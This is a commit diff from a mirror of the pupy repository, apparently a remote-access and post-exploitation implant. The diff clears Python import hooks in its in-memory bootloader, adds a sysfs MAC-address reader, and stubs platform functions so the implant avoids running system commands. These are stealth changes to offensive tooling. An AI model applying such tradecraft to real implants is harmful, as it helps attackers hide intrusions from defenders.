mirror of https://github.com/n1nj4sec/pupy.git
Ensure pupy doesn't execute any shit from the system
This commit is contained in:
parent
29d7e1ad5b
commit
248094d89d
|
@ -61,7 +61,7 @@ if __name__=="__main__":
|
|||
|
||||
bootloader = [
|
||||
remove_stdout if not args.debug else 'print "DEBUG"\n',
|
||||
'import sys; sys.path=[]; ' + (
|
||||
'import sys; sys.path=[]; sys.path_hooks=[]; sys.meta_path=[];' + (
|
||||
'sys.argv = [];' if not args.pass_argv else ''
|
||||
) + 'sys.prefix = ""; \n',
|
||||
pupyload.format('pupyimporter', repr(pupyimporter)),
|
||||
|
|
|
@ -334,6 +334,24 @@ def _find_mac(command, args, hw_identifiers, get_index):
|
|||
except IOError:
|
||||
pass
|
||||
|
||||
def _sysfs_getnode():
|
||||
"""Get the hardware address on Unix by running ifconfig."""
|
||||
import os
|
||||
try:
|
||||
ifaces = sorted([
|
||||
(
|
||||
int(open('/sys/class/net/{}/ifindex'.format(x)).read()),
|
||||
open('/sys/class/net/{}/address'.format(x)).read().strip()
|
||||
) for x in os.listdir(
|
||||
'/sys/class/net'
|
||||
) if int(open('/sys/class/net/{}/type'.format(x)).read()) == 1 ])[:1]
|
||||
|
||||
if ifaces:
|
||||
return int(ifaces[0][1].replace(':', ''), 16)
|
||||
|
||||
except:
|
||||
pass
|
||||
|
||||
def _ifconfig_getnode():
|
||||
"""Get the hardware address on Unix by running ifconfig."""
|
||||
# This works on Linux ('' or '-a'), Tru64 ('-av'), but not all Unixes.
|
||||
|
@ -558,8 +576,8 @@ def getnode():
|
|||
if sys.platform == 'win32':
|
||||
getters = [_windll_getnode, _netbios_getnode, _ipconfig_getnode]
|
||||
else:
|
||||
getters = [_unixdll_getnode, _ifconfig_getnode, _arp_getnode,
|
||||
_lanscan_getnode, _netstat_getnode]
|
||||
getters = [_unixdll_getnode, _sysfs_getnode, _ifconfig_getnode,
|
||||
_arp_getnode, _lanscan_getnode, _netstat_getnode]
|
||||
|
||||
for getter in getters + [_random_getnode]:
|
||||
try:
|
||||
|
|
|
@ -367,6 +367,12 @@ def install(debug=False):
|
|||
sys.path.append('pupy://')
|
||||
sys.path_importer_cache.clear()
|
||||
|
||||
import platform
|
||||
platform._syscmd_uname = lambda *args, **kwargs: ''
|
||||
platform.architecture = lambda *args, **kwargs: (
|
||||
'32bit' if pupy.get_arch() is 'x86' else '64bit', ''
|
||||
)
|
||||
|
||||
if 'win' in sys.platform:
|
||||
import pywintypes
|
||||
if __debug:
|
||||
|
|
Loading…
Reference in New Issue